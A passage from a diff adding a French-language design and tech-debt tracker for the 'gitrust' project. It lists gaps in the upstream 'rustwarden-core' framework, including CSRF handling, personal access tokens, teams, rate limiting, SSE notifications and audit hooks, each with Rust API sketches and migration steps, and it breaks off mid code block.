149 +- [ ] Nouveau helper `csrf_protection_with_config` disponible avec `accept_form_body: true`.
150 +- [ ] Gere proprement `application/x-www-form-urlencoded` : buffer → parse → reconstruct body.
151 +- [ ] Refuse `multipart/form-data` avec 415 ou skip (trop risque a bufferiser).
152 +- [ ] Respecte `max_form_body_bytes` et renvoie 413 sur depassement.
153 +- [ ] Tests unitaires : (a) token en header valide, (b) token en form body valide, (c) header absent + form body absent → 403, (d) mismatch → 403, (e) body > cap → 413.
154 +- [ ] Doc inline precisant la trade-off buffer vs streaming.
155 +
156 +**Migration cote gitrust apres merge upstream** :
157 +1. Bump version rustwarden-core dans `Cargo.toml`.
158 +2. Supprimer [`admin_csrf_protection`](../crates/gitrust-web/src/middleware.rs) et ses tests.
159 +3. Remplacer `.layer(axum::middleware::from_fn(admin_csrf_protection))` par `.layer(axum::middleware::from_fn_with_state((db, Arc::new(CsrfProtectionConfig { accept_form_body: true, ..Default::default() })), csrf_protection_with_config))`.
160 +4. Supprimer cette section du fichier (ou la deplacer dans `CHANGELOG.md` comme "resolu").
161 +
162 +### ~~2. `LayoutContext::new(title, csrf_token)` impose le token en second argument~~ — RESOLU 2026-04-22
163 +
164 +**Status** : Implemente en Phase 1.1 du plan d'evolution.
165 +
166 +Nouveau [`LayoutContext::from_session(session, title)`](../crates/rustwarden-core/src/templates/mod.rs) async qui fetch le token via `get_or_create_csrf_token` avec fallback log+empty sur erreur. Signature existante `new()` inchangee.
167 +
168 +---
169 +
170 +### 2bis. Details historiques (avant resolution)
171 +
172 +**Contexte** : chaque handler qui rend un template doit fetcher manuellement le token et le passer a `LayoutContext::new`. 27+ occurrences de `LayoutContext::new(title, "")` dans gitrust-web passent un token vide, ce qui casse silencieusement le CSRF cote client.
173 +
174 +**Limitation** : la signature de [`LayoutContext::new(title: &str, csrf_token: &str)`](../crates/rustwarden-core/src/templates.rs) traite le token comme un parametre obligatoire sans possibilite de remplissage automatique. Il n'existe pas de helper `LayoutContext::from_session(session, title)` ou `LayoutContext::builder().title(...).finish_async(&session)`.
175 +
176 +**Proposition** : ajouter un constructeur async qui fait le fetch du token :
177 +
178 +```rust
179 +impl LayoutContext {
180 + /// Version async qui peuple `csrf_token` depuis la session tower-sessions.
181 + /// Fallback silencieux sur `""` si la session est indisponible (log warn).
182 + pub async fn from_session(session: &tower_sessions::Session, title: &str) -> Self {
183 + let token = rustwarden_core::middleware::csrf::get_or_create_csrf_token(session)
184 + .await
185 + .unwrap_or_default();
186 + Self::new(title, &token)
187 + }
188 +}
189 +```
190 +
191 +**Pros** : reduit le boilerplate par handler, empeche le pattern "`LayoutContext::new(title, "")`" qui echappe aux revues.
192 +**Cons** : nouvelle dependance entre `templates` et `middleware::csrf` (cross-module). Alternative : placer le helper dans `crate::middleware::csrf` plutot que dans `templates`.
193 +
194 +**Criteres d'acceptation** :
195 +- [ ] Pas de changement de signature sur `LayoutContext::new` (backwards-compat).
196 +- [ ] Nouveau `from_session` disponible, teste avec une session mock.
197 +- [ ] Doc inline avec exemple de handler qui l'utilise.
198 +
199 +**Migration cote gitrust apres merge** :
200 +1. Remplacer tous les `LayoutContext::new(title, &csrf_token)` par `LayoutContext::from_session(&session, title).await`.
201 +2. Retirer les appels `get_or_create_csrf_token` qui etaient inlines avant.
202 +
203 +### ~~3. `csrf_protection_impl` redondant avec `csrf_protection`~~ — RESOLU 2026-04-22
204 +
205 +**Status** : Implemente en Phase 1.2 du plan d'evolution.
206 +
207 +Factorise via la fonction interne `csrf_check` + enum `CsrfOutcome`. Les deux publics (`csrf_protection`, `csrf_protection_impl`, plus le nouveau `csrf_protection_with_config`) deviennent des wrappers minces (3-4 lignes chacun). ~80 lignes de duplication supprimees.
208 +
209 +---
210 +
211 +### 3bis. Details historiques (avant resolution)
212 +
213 +**Contexte** : le framework expose deux middlewares quasi-identiques ([csrf.rs:123](../crates/rustwarden-core/src/middleware/csrf.rs#L123) et [csrf.rs:175](../crates/rustwarden-core/src/middleware/csrf.rs#L175)). Seule difference : `csrf_protection_impl` prend `db` par reference au lieu de passer par `State<DatabaseConnection>`.
214 +
215 +**Proposition** : deduplication via une fonction interne commune + 2 wrappers :
216 +```rust
217 +async fn csrf_protection_inner(session: &Session, request: &Request) -> Result<Option<Response>, AppError> { ... }
218 +pub async fn csrf_protection(State(_db), session, uri, request, next) -> Result<Response, AppError> { ... }
219 +pub async fn csrf_protection_impl(_db, session, uri, request, next) -> Result<Response, AppError> { ... }
220 +```
221 +
222 +**Priorite** : basse (DRY seulement, pas de bug).
223 +
224 +### ~~4. Pas de service Personal Access Tokens (PAT)~~ — RESOLU 2026-04-23
225 +
226 +**Status** : Implemente dans Phase 4 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)).
227 +
228 +Livre :
229 +- Migration [`m20260422_000007_create_personal_access_tokens`](../crates/rustwarden-core/migrations/src/m20260422_000007_create_personal_access_tokens.rs) (table + indexes unique `(user_id, name)`, `token_hash`, `expires_at`).
230 +- Entity SeaORM [`personal_access_token::Model`](../crates/rustwarden-core/src/models/personal_access_token.rs) avec helpers `is_expired`, `is_revoked`, `is_active`.
231 +- Service generique [`PersonalTokenService<S: TokenScope>`](../crates/rustwarden-core/src/services/personal_token_service.rs) : `create`, `verify`, `list_for_user`, `revoke`, `cleanup_expired`. Hash SHA-256 constant-time, `last_used_at` best-effort, revoke idempotent + ownership check.
232 +- Background cleanup task [`PersonalTokenCleanupProcessor<S>`](../crates/rustwarden-core/src/tasks/personal_token_cleanup.rs) (config `PERSONAL_TOKEN_CLEANUP_INTERVAL_SECS`, default 3600s).
233 +- Prelude exporte `PersonalTokenService` et `TokenScope`.
234 +- 15 tests (5 entity + 10 integration DB).
235 +
236 +---
237 +
238 +### 4bis. Details historiques (avant resolution)
239 +
240 +**Date de detection** : 2026-04-21 (inventaire dette technique — LOT 11).
241 +
242 +**Contexte** : gitrust a besoin d'une auth API long terme pour `git clone/push` via HTTPS (Smart HTTP — LOT 10). Le workflow est : l'utilisateur genere un token depuis l'UI, le colle dans `git config` ou dans l'URL `https://user:token@host/repo.git`, et le client Git le renvoie identique a chaque appel.
243 +
244 +**Limitation du framework** : [`RefreshTokenService`](../crates/rustwarden-core/src/services/refresh_token_service.rs) gere uniquement la rotation JWT (un usage = un nouveau token, detection de reuse, plafond `MAX_ACTIVE_TOKENS_PER_USER=10`). Ce modele est **incompatible** avec un PAT statique : `git push` ne peut pas "tourner" le token entre deux invocations. Aucun service ne couvre :
245 +- Token SHA-256 en base, verifie a chaque appel (pas de rotation).
246 +- Scopes structures (`read:repo`, `write:repo`, `admin:repo`).
247 +- `last_used_at` pour UX et nettoyage.
248 +- Expiration optionnelle (`expires_at NULL` = token permanent).
249 +
250 +**Workaround actuel cote gitrust** : non demarre — LOT 11 attend la decision. Piste pretraitee :
251 +- Migration `personal_access_tokens` (id, user_id, name, token_hash, scopes text[], expires_at, last_used_at, created_at).
252 +- Service `gitrust-core/src/services/personal_token_service.rs` calque sur `RefreshTokenService` (hash SHA-256, cleanup tache de fond).
253 +- Reutiliser `TokenHash` (Zeroize) deja present dans `gitrust-core/src/types.rs`.
254 +- Extension de `AuthUser` : extractor gitrust local qui tente `Authorization: Bearer <jwt>` (framework) puis `Authorization: Bearer gtr_<pat>` (gitrust).
255 +
256 +**Proposition upstream** : `PersonalTokenService<S: TokenScope>` generique avec trait de scope parametrable par consommateur.
257 +
258 +```rust
259 +pub trait TokenScope: Sized + Clone + Send + Sync + 'static {
260 + fn as_str(&self) -> &str;
261 + fn parse(s: &str) -> Option<Self>;
262 +}
263 +
264 +pub struct PersonalTokenService<S: TokenScope> { _phantom: PhantomData<S> }
265 +
266 +impl<S: TokenScope> PersonalTokenService<S> {
267 + pub async fn create(db, user_id, name, scopes: Vec<S>, expires_at) -> Result<(PatRecord, String /*clair*/)>;
268 + pub async fn verify(db, token_clear: &str) -> Result<(PatRecord, Vec<S>)>;
269 + pub async fn list_for_user(db, user_id) -> Result<Vec<PatRecord>>;
270 + pub async fn revoke(db, token_id, user_id) -> Result<()>;
271 + pub async fn cleanup_expired(db) -> Result<u64>;
272 +}
273 +```
274 +
275 +Gitrust instancierait `PersonalTokenService<RepoScope>`, PasterMan `PersonalTokenService<WallScope>`.
276 +
277 +**Pros** : couvre tous les apps qui veulent une auth API statique. Mutualise le hash/scopes/cleanup. Prefix de token (`gtr_`, `ptm_`) reste au choix de l'app.
278 +**Cons** : trait `TokenScope` impose un vocabulaire partage. Alternative : scopes en `Vec<String>` et validation cote app (moins type-safe).
279 +
280 +**Criteres d'acceptation** :
281 +- [ ] Migration generique `personal_access_tokens` ajoutable au migrator de l'app.
282 +- [ ] Hash SHA-256 en base, token clair jamais stocke.
283 +- [ ] API `create`/`verify`/`list`/`revoke`/`cleanup_expired`.
284 +- [ ] Tests : creation + verify ok, scope mismatch, token expire, revoke idempotent.
285 +- [ ] Documentation du pattern d'extension `AuthUser` cote consommateur (tentative JWT puis PAT).
286 +
287 +**Migration cote gitrust apres merge** :
288 +1. Bump `rustwarden-core`.
289 +2. Remplacer `personal_token_service` local par `PersonalTokenService<RepoScope>`.
290 +3. Garder le prefix `gtr_` et l'extractor d'auth gitrust (specifique au protocole Smart HTTP).
291 +
292 +### ~~5. Pas de TeamService (groupes d'utilisateurs)~~ — RESOLU 2026-04-23
293 +
294 +**Status** : Implemente en Phase 5 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)).
295 +
296 +Livre :
297 +- Migration [`m20260423_000008_create_teams`](../crates/rustwarden-core/migrations/src/m20260423_000008_create_teams.rs) : tables `teams` + `team_members` (composite PK), evolution `resource_shares` avec `shared_with_team_id` + CHECK constraint (exactement un de `user_id`/`team_id` non-null) + partial unique indexes par principal.
298 +- Value object [`TeamSlug`](../crates/rustwarden-core/src/types/team_slug.rs) : `[a-z0-9-]{1,64}`, no leading/trailing `-`, 15 reserved names. 8 tests.
299 +- [`TeamService`](../crates/rustwarden-core/src/services/team_service.rs) : `create`, `find_by_id/slug`, `add_member` (idempotent + role update), `remove_member` (refuse de supprimer l'owner), `list_members`, `teams_of_user`, `team_ids_of_user`, `delete`. Hooks `on_team_*` cables. 8 integration tests.
300 +- [`ResourceService::Principal`](../crates/rustwarden-core/src/services/resource_service.rs) enum (`User | Team`) + `share_with` + `effective_permission_for_user` qui calcule `max(direct_user_share, max(team_shares))`. Legacy `share()` conserve comme wrapper. 6 integration tests couvrant : user-principal backwards-compat, owner share refuse, team grant a tous membres, max cross user+teams, remove from team drop access, idempotent team upsert.
301 +- Prelude exporte `Principal`, `TeamService`, `TeamRole`, `TeamSlug`.
302 +
303 +Total : 22 tests nouveaux sur DB reelle, 0 regression.
304 +
305 +---
306 +
307 +### 5bis. Details historiques (avant resolution)
308 +
309 +**Date de detection** : 2026-04-21 (inventaire dette technique — LOT 14).
310 +
311 +**Contexte** : gitrust veut permettre le partage d'un repo a une **equipe** (ex. `@backend`), pas seulement a des utilisateurs individuels. C'est une attente standard (GitHub, GitLab, Forgejo). PasterMan a le meme besoin pour partager des walls a une equipe.
312 +
313 +**Limitation du framework** : rustwarden-core n'expose que :
314 +- Des **roles globaux** (`admin`, `user`, `app_manager`) via `RoleService`.
315 +- Un **partage 1-to-1** (`ResourceService::share(user_id, permission)`).
316 +
317 +**Aucune notion de team/groupe.** La section gitrust de [CLAUDE.md](../CLAUDE.md) mentionnait "teams upstream" : c'etait une supposition incorrecte, a corriger.
318 +
319 +**Workaround actuel cote gitrust** : non demarre — LOT 14 attend la decision. Piste pretraitee :
320 +- Migrations `teams` (slug, name, owner_id, created_at) + `team_members` (team_id, user_id, role, joined_at).
321 +- Service `gitrust-core/src/services/team_service.rs` (CRUD + membership + validation slug via `TeamSlug` deja present).
322 +- Bridge `ResourceService` : partage d'un repo a une team = expansion en partages individuels au moment du check ACL, OU extension `ResourceService::share(shared_with_id, shared_with_type: "user" | "team")`.
323 +
324 +**Proposition upstream** : `TeamService` generique + evolution de `ResourceService::share` pour accepter `shared_with_type`.
325 +
326 +```rust
327 +pub struct TeamService;
328 +
329 +impl TeamService {
330 + pub async fn create(db, owner_id, slug, name) -> Result<TeamRecord>;
331 + pub async fn add_member(db, team_id, user_id, role: TeamRole) -> Result<()>;
332 + pub async fn remove_member(db, team_id, user_id) -> Result<()>;
333 + pub async fn list_members(db, team_id) -> Result<Vec<(UserRecord, TeamRole)>>;
334 + pub async fn teams_of_user(db, user_id) -> Result<Vec<TeamRecord>>;
335 + pub async fn delete(db, team_id, hooks: &Arc<dyn RustwardenHooks>) -> Result<()>;
336 +}
337 +
338 +// Evolution de ResourceService
339 +pub enum Principal { User(Uuid), Team(Uuid) }
340 +impl ResourceService {
341 + pub async fn share_with(db, resource_type, resource_id, principal: Principal, permission) -> Result<()>;
342 + pub async fn effective_permission_for_user(db, resource_type, resource_id, user_id) -> Result<Option<Permission>>;
343 + // Calcule max(perm_direct, max(perm_via_teams))
344 +}
345 +```
346 +
347 +**Pros** : pattern reutilisable (gitrust, PasterMan). La resolution `effective_permission_for_user` encapsule la logique d'expansion (transparente pour le consommateur). Hooks `on_team_created/deleted/member_added/removed` a ajouter pour les consommateurs qui veulent un audit.
348 +**Cons** : touche a `ResourceService` (service central) — risque de regression. Besoin de tests de charge (expansion team peut balayer N utilisateurs a chaque check ACL — prevoir cache ou requete SQL join).
349 +
350 +**Criteres d'acceptation** :
351 +- [ ] Migration `teams` + `team_members` ajoutable au migrator.
352 +- [ ] `TeamSlug` (reserved names, lowercase, 1-64 chars) — peut reutiliser le pattern gitrust.
353 +- [ ] `ResourceService::effective_permission_for_user` prend en compte memberships (test dedie).
354 +- [ ] Hooks `on_team_*` ajoutes a `RustwardenHooks` (cf. gap-7 ci-dessous).
355 +- [ ] Suppression d'une team : cascade sur `team_members` + revocation des shares `Team(id)`.
356 +- [ ] Tests : user membre de 2 teams avec permissions differentes → max l'emporte. User retire d'une team perd l'acces au repo si c'etait sa seule source.
357 +
358 +**Migration cote gitrust apres merge** :
359 +1. Bump `rustwarden-core`.
360 +2. Corriger [CLAUDE.md](../CLAUDE.md) section "Roles" — referencer `TeamService` framework.
361 +3. Ajouter UI `/teams` + templates.
362 +4. Etendre `RepositoryService` pour appeler `ResourceService::share_with(Principal::Team(team_id))`.
363 +
364 +### ~~6. Pas de RateLimitService generique expose~~ — RESOLU 2026-04-22
365 +
366 +**Status** : Implemente en Phase 2.3 du plan d'evolution.
367 +
368 +Livre :
369 +- [`RateLimitService`](../crates/rustwarden-core/src/services/rate_limit_service.rs) generique : `check`, `check_window` (fixed), `check_sliding_window` (strict), `cleanup_loop`.
370 +- [`AppError::TooManyRequests { retry_after_secs }`](../crates/rustwarden-core/src/error.rs) → HTTP 429 + `Retry-After` header + body JSON.
371 +- 5 call-sites internes dedupliques : `AuthRateLimiter` + `PublicShareRateLimiter` (rate_limit middleware) + password_change + password_reset + email_validation services — tous migrent vers `RateLimitService` avec prefixes de cle (`auth:{ip}`, `share:{ip}`, `pwd_change:{user_id}`, etc.).
372 +- Bonus : race TOCTOU elimine (check+record atomique), `oauth_handlers` renvoie desormais 429 au lieu d'un faux 400.
373 +
374 +---
375 +
376 +### 6bis. Details historiques (avant resolution)
377 +
378 +**Date de detection** : 2026-04-21 (inventaire dette technique — plan `import-preview-rate-limit.md`).
379 +
380 +**Contexte** : gitrust doit rate-limiter les endpoints d'import (`GET /import/preview`, `POST /import`) avec des cles arbitraires et un TTL configurable par env var (`RATE_LIMIT_IMPORT_PREVIEW_PER_MINUTE=120`). Le meme besoin revient pour tout endpoint critique (future API PAT, webhook receive-pack, etc.).
381 +
382 +**Limitation du framework** : les rate limiters existants ([password_change_service](../crates/rustwarden-core/src/services/password_change_service.rs), [password_reset_service](../crates/rustwarden-core/src/services/password_reset_service.rs), [email_validation_service](../crates/rustwarden-core/src/services/email_validation_service.rs)) sont :
383 +- **Internes** a chaque service, non reutilisables.
384 +- **Cles hardcodees** (`user_id`, `email`) — impossible de passer une cle arbitraire.
385 +- Pas d'API publique `RateLimitService::check(key, per_minute)`.
386 +
387 +Resultat : chaque app reinvente son rate limiter (gitrust l'a deja fait pour la login dans Phase 4 via `check_auth_rate_limit`, c'est un bon exemple mais specifique login).
388 +
389 +**Workaround actuel cote gitrust** : non demarre pour l'import (plan `import-preview-rate-limit.md` en attente). Piste pretraitee :
390 +- Module `gitrust-core/src/rate_limit.rs` : rate limiter in-process (DashMap<String, WindowCounter>) avec fenetre glissante.
391 +- Signature : `check_rate_limit(key: &str, per_minute: u32) -> Result<(), AppError::TooManyRequests>`.
392 +- Pas de persistence (reset au restart acceptable pour ce scope).
393 +
394 +**Proposition upstream** : extraire un `RateLimitService` public generique. Refactor des 3 rate limiters existants pour l'utiliser (dog-fooding).
395 +
396 +```rust
397 +pub struct RateLimitService {
398 + buckets: Arc<DashMap<String, WindowCounter>>,
399 +}
400 +
401 +impl RateLimitService {
402 + pub fn new() -> Self;
403 +
404 + /// Verifie et incremente. Renvoie Err(TooManyRequests) si depassement.
405 + pub fn check(&self, key: &str, max_per_minute: u32) -> Result<(), AppError>;
406 +
407 + /// Variante avec fenetre custom (ex. 1h pour reset password).
408 + pub fn check_window(&self, key: &str, max: u32, window: Duration) -> Result<(), AppError>;
409 +
410 + /// Purge periodique des buckets expires (tache de fond).
411 + pub async fn cleanup_loop(&self, interval: Duration);
412 +}
413 +```
414 +
415 +Ajouter `AppError::TooManyRequests { retry_after_secs: u64 }` mappe sur HTTP 429 avec header `Retry-After`.
416 +
417 +**Pros** : mutualise 3 impls existantes. API generique servable a tout consommateur. `AppError::TooManyRequests` standardise la reponse 429 (absent aujourd'hui dans `AppError`).
418 +**Cons** : migration interne du framework (refactor des 3 services existants) — risque de regression. Impl in-process seulement ; pour Redis multi-instance, prevoir un trait `RateLimitBackend` (out-of-scope v1).
419 +
420 +**Criteres d'acceptation** :
421 +- [ ] `RateLimitService::check(key, per_minute)` public.
422 +- [ ] `AppError::TooManyRequests { retry_after_secs }` avec mapping HTTP 429 + header `Retry-After`.
423 +- [ ] `PasswordChangeService`, `PasswordResetService`, `EmailValidationService` refactors pour utiliser le service (tests existants passent sans modif).
424 +- [ ] Cleanup loop documente (evite la fuite memoire sur les cles mortes).
425 +- [ ] Tests : 10 appels OK dans la fenetre, 11e refuse, expiration de la fenetre libere.
426 +
427 +**Migration cote gitrust apres merge** :
428 +1. Bump `rustwarden-core`.
429 +2. Supprimer le module gitrust `rate_limit.rs` si cree temporairement.
430 +3. Injecter `RateLimitService` en Extension dans `main.rs` et l'appeler dans les handlers d'import.
431 +
432 +### ~~7. Pas de SSE broadcaster (bus de notifications temps reel)~~ — RESOLU 2026-04-23
433 +
434 +**Status** : Implemente dans Phase 6 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)).
435 +
436 +Livre :
437 +- Trait [`NotificationBus<T>`](../crates/rustwarden-core/src/notifications/mod.rs) generique avec `publish` et `subscribe(filter)`.
438 +- Impl par defaut [`InMemoryBus<T>`](../crates/rustwarden-core/src/notifications/mod.rs) basee sur `tokio::sync::broadcast` — slow consumer drop proprement via `BroadcastStream::filter_map`, publisher ne panique pas sur receiver drop.
439 +- Helper axum [`sse::sse_response`](../crates/rustwarden-core/src/notifications/sse.rs) avec `KeepAlive(30s)` + JSON serialisation + drop silencieux des events non serialisables.
440 +- 7 tests (no-subscriber noop, delivery, multi-subscribers, filter, drop-safe, lag handling, sse response integration).
441 +- Feature `redis-bus` documentee comme extension v2 (hors scope v1).
442 +
443 +---
444 +
445 +### 7bis. Details historiques (avant resolution)
446 +
447 +**Date de detection** : 2026-04-21 (inventaire dette technique — plan `import-async-worker.md`).
448 +
449 +**Contexte** : plusieurs fonctionnalites gitrust necessitent de pousser des evenements temps reel au navigateur via Server-Sent Events :
450 +- Barre de progression d'import de repo (`GET /imports/:id/stream`).
451 +- Notifications CI (deja en prod cote gitrust — Phase 5).
452 +- Futurs besoins : live logs push/receive-pack, notifications d'issue/PR.
453 +
454 +**Limitation du framework** : aucun bus de notifications dans rustwarden-core. Le plan initial de l'import async evoquait "reutiliser `sse_broadcaster` framework" — c'etait une supposition erronee (verification grep : aucun `broadcast::`, aucun `axum::response::sse`, aucun `Sse::new` dans `crates/rustwarden-core/`).
455 +
456 +**Workaround actuel cote gitrust** : bus SSE existe cote gitrust pour la Phase 5 (notifications + CI live logs). Emplacement a verifier (probable `crates/gitrust-web/src/sse.rs` ou `crates/gitrust-core/src/notifications/`). L'import async-worker viendrait republier dessus ses `ImportProgress { job_id, received_bytes, total_bytes, phase }`.
457 +
458 +**Proposition upstream** : trait generique `NotificationBus<T>` dans le framework avec impl in-memory par defaut.
459 +
460 +```rust
461 +#[async_trait]
462 +pub trait NotificationBus<T: Clone + Send + Sync + 'static>: Send + Sync {
463 + /// Publie a tous les abonnes matchant le filtre.
464 + async fn publish(&self, event: T);
465 +
466 + /// Souscrit avec filtre. Retourne un flux tokio-stream.
467 + fn subscribe(&self, filter: impl Fn(&T) -> bool + Send + Sync + 'static)
468 + -> Pin<Box<dyn Stream<Item = T> + Send>>;
469 +}
470 +
471 +pub struct InMemoryBus<T> { tx: broadcast::Sender<T> }
472 +impl<T: Clone + Send + Sync + 'static> NotificationBus<T> for InMemoryBus<T> { ... }
473 +
474 +// Helper axum pour convertir une souscription en reponse SSE
475 +pub fn sse_response<T: Serialize>(stream: impl Stream<Item = T>) -> Sse<impl Stream<...>>;
476 +```
477 +
478 +Feature optionnelle `redis-bus` pour impl multi-instance.
479 +
480 +**Pros** : reutilisable par toutes les apps (gitrust import/CI, PasterMan wall updates). Le helper `sse_response` encapsule `KeepAlive` + serialisation JSON + gestion deconnexion (boilerplate aujourd'hui repete).
481 +**Cons** : generique `T` complique (certains consommateurs voudront un bus global heterogene — alternative : `NotificationBus<serde_json::Value>` avec `event_type` tag). Impl Redis feature-gated pour eviter de tirer la dep.
482 +
483 +**Criteres d'acceptation** :
484 +- [ ] Trait `NotificationBus<T>` + impl `InMemoryBus` sur `tokio::sync::broadcast`.
485 +- [ ] Helper `sse_response(stream)` produisant `axum::response::sse::Sse` avec `KeepAlive` (30s par defaut).
486 +- [ ] Gestion de la deconnexion client : le stream drop ne doit pas faire paniquer le publisher.
487 +- [ ] Tests : publish + multiple subscribers + filter discriminant + lag handling (broadcast `Lagged`).
488 +- [ ] Doc inline avec exemple complet (worker publie, handler souscrit, client JS `EventSource`).
489 +
490 +**Migration cote gitrust apres merge** :
491 +1. Bump `rustwarden-core`.
492 +2. Remplacer le bus gitrust local par `InMemoryBus<NotificationEvent>` framework.
493 +3. Remplacer les handlers SSE custom par `sse_response(bus.subscribe(filter))`.
494 +4. Publier `ImportProgress` sur le bus depuis `import_worker`.
495 +
496 +### ~~8. Hooks `RustwardenHooks` — manquent audit generique + team events + resource lifecycle~~ — RESOLU 2026-04-22
497 +
498 +**Status** : Implemente dans Phase 3 du plan d'evolution ([docs/plans/2026-04-22-upstream-rustwarden-evolution.md](plans/2026-04-22-upstream-rustwarden-evolution.md)).
499 +
500 +Ajoutes avec impl par defaut no-op (backwards-compatible) :
501 +- `on_resource_registered(db, resource_type, resource_id, owner_id)`
502 +- `on_resource_unregistered(db, resource_type, resource_id)`
503 +- `on_team_created(db, team_id, owner_id)` / `on_team_deleted(db, team_id)`
504 +- `on_team_member_added(db, team_id, user_id)` / `on_team_member_removed(db, team_id, user_id)`
505 +- `on_audit_event(db, AuditEvent { kind, actor_id, target, metadata })` — generique
506 +
507 +`AuthLoggingService::log_blocked_login` emet maintenant un `AuditEvent { kind: "auth.login_blocked" }` quand des hooks sont cables. Tests d'integration DB vert (5 tests).
508 +
509 +---
510 +
511 +### 8bis. Details historiques (avant resolution)
512 +
513 +**Date de detection** : 2026-04-21 (inventaire dette technique — LOTs 12/13 Issues/PR).
514 +**Revision** : 2026-04-22 — audit du code a revele que le trait expose deja 12 hooks (et non 4 comme ecrit initialement). La proposition est recentree sur les vrais manques.
515 +
516 +**Etat actuel** : [`RustwardenHooks`](../crates/rustwarden-core/src/hooks.rs) expose deja 12 evenements :
517 +- User lifecycle : `on_user_registered`, `on_user_login`, `on_user_logout`, `on_user_deleted`
518 +- Credentials : `on_password_changed`, `on_email_verified`, `on_totp_enabled`, `on_totp_disabled`, `on_oauth_login`
519 +- RBAC : `on_role_changed`
520 +- Resources : `on_resource_shared`, `on_resource_unshared`
521 +
522 +**Manques reels** pour les futurs LOTs gitrust (Issues, Pull Requests, Teams) et pour tout audit transverse, les consommateurs veulent :
523 +- Un hook generique `on_audit_event(kind, actor, target, metadata)` pour centraliser la logique de log/notification/indexation sans polluer chaque service.
524 +- Des hooks cibles `on_team_created`, `on_team_deleted`, `on_team_member_added`, `on_team_member_removed` (prerequis du gap-5).
525 +- Un hook `on_resource_registered` / `on_resource_unregistered` (gitrust-hooks loggue deja pour "repository" sans hook : code plus propre avec un hook).
526 +
527 +**Limitation du framework** : le trait est ferme par design (pas de methode par defaut pour les nouveaux variants sans casser les implementeurs).
528 +
529 +**Workaround actuel cote gitrust** :
530 +- Pour les evenements sensibles : appel direct a [`AuthLoggingService::log_*`](../crates/rustwarden-core/src/services/auth_logging_service.rs) depuis les handlers (pattern deja en place pour ban manuel, acl add).
531 +- Pour les Issues/PR : prevoir des hooks **gitrust-locaux** (`GitrustHooks` trait dans `gitrust-core`) sans modifier le framework. Cout : fragmentation (deux systemes de hooks coexistants).
532 +
533 +**Proposition upstream** : evoluer `RustwardenHooks` en deux temps.
534 +
535 +**Phase A** — ajouter les hooks manquants avec impl par defaut `async { Ok(()) }` (backwards-compatible) :
536 +
537 +```rust
538 +#[async_trait]
539 +pub trait RustwardenHooks: Send + Sync {
540 + // Existants
541 + async fn on_user_registered(&self, user: &UserRecord) -> Result<()> { Ok(()) }
542 + async fn on_user_deleted(&self, user_id: Uuid) -> Result<()> { Ok(()) }
543 + async fn on_resource_shared(&self, rt: &str, rid: Uuid, target: Uuid, perm: &str) -> Result<()> { Ok(()) }
544 + async fn on_resource_unshared(&self, rt: &str, rid: Uuid, target: Uuid) -> Result<()> { Ok(()) }
545 +
546 + // Nouveaux
547 + async fn on_resource_registered(&self, rt: &str, rid: Uuid, owner_id: Uuid) -> Result<()> { Ok(()) }
548 + async fn on_resource_unregistered(&self, rt: &str, rid: Uuid) -> Result<()> { Ok(()) }
549 + async fn on_team_created(&self, team_id: Uuid, owner_id: Uuid) -> Result<()> { Ok(()) }
550 + async fn on_team_deleted(&self, team_id: Uuid) -> Result<()> { Ok(()) }
551 + async fn on_team_member_added(&self, team_id: Uuid, user_id: Uuid) -> Result<()> { Ok(()) }
552 + async fn on_team_member_removed(&self, team_id: Uuid, user_id: Uuid) -> Result<()> { Ok(()) }
553 +
554 + // Generique (escape hatch pour evenements custom)
555 + async fn on_audit_event(&self, event: AuditEvent<'_>) -> Result<()> { Ok(()) }
556 +}
557 +
558 +pub struct AuditEvent<'a> {
559 + pub kind: &'a str, // ex. "issue.created", "pr.merged"
560 + pub actor_id: Option<Uuid>,
561 + pub target: Option<(&'a str, Uuid)>, // (resource_type, resource_id)
562 + pub metadata: &'a serde_json::Value,
563 +}
564 +```
565 +
566 +**Phase B** (optionnelle) — cabler `AuthLoggingService::log_*` pour appeler aussi `on_audit_event` afin que les consommateurs puissent brancher du monitoring sans reecrire la liaison.
567 +
568 +**Pros** : backwards-compatible (methodes par defaut). `on_audit_event` offre un escape hatch pour les LOTs gitrust (Issues, PR) sans forcer a ajouter un hook framework pour chaque type d'evenement. Prepare le terrain pour le gap-5 (TeamService).
569 +**Cons** : proliferation de methodes dans le trait (11 methodes a terme). Alternative : un seul `on_event(event: FrameworkEvent<'_>)` avec enum exhaustif — mais bloque les consommateurs sur l'enum framework.
570 +
571 +**Criteres d'acceptation** :
572 +- [ ] Nouveaux hooks ajoutes avec `async { Ok(()) }` par defaut (`gitrust-hooks` existant compile sans modif).
573 +- [ ] `AuditEvent<'_>` documente avec 2-3 exemples d'usage.
574 +- [ ] `AuthLoggingService::log_*` appelle `on_audit_event` (phase B).
575 +- [ ] Tests : impl vide compile, impl complete recoit bien chaque variant, erreur dans hook est propagee.
576 +
577 +**Migration cote gitrust apres merge** :
578 +1. Bump `rustwarden-core`.
579 +2. `gitrust-hooks` implemente `on_resource_registered` (replace la logique actuelle qui filtre par `resource_type == "repository"`).
580 +3. Implementer `on_team_*` quand LOT 14 arrive.
581 +4. Utiliser `on_audit_event` pour les Issues/PR (LOTs 12/13) au lieu de creer un `GitrustHooks` local.
582 +
583 +---
584 +
585 +## 9. Federation ActivityPub — RFCs gitrust soumises upstream
586 +
587 +Section ajoutee 2026-05-16 suite a l'integration fediverse cote gitrust (Lot 2 du plan [`docs/plans/2026-05-15-fediverse-integration-gitrust.md`](plans/2026-05-15-fediverse-integration-gitrust.md)). Quatre propositions soumises, toutes resolues upstream.
588 +
589 +### ~~9.1 Partage de ressource avec une identite remote~~ — RESOLU 2026-05-15 (RFC upstream 0029)
590 +
591 +**RFC gitrust** : [docs/rfcs/0001-fediverse-remote-resource-shares.md](rfcs/0001-fediverse-remote-resource-shares.md). Score 33/35.
592 +
593 +**Solution upstream** : nouveau service `rustwarden_fediverse::services::remote_resource_share_service::RemoteResourceShareService` + nouvelle table `fediverse_resource_shares` (migration `m20260516_000002_remote_resource_shares`).
594 +
595 +**API a consommer cote gitrust** :
596 +```rust
597 +use rustwarden_core::identity::Identity;
598 +use rustwarden_core::services::resource_service::ResourceService;
599 +use rustwarden_fediverse::services::remote_resource_share_service::RemoteResourceShareService;
600 +
601 +let level = match identity {
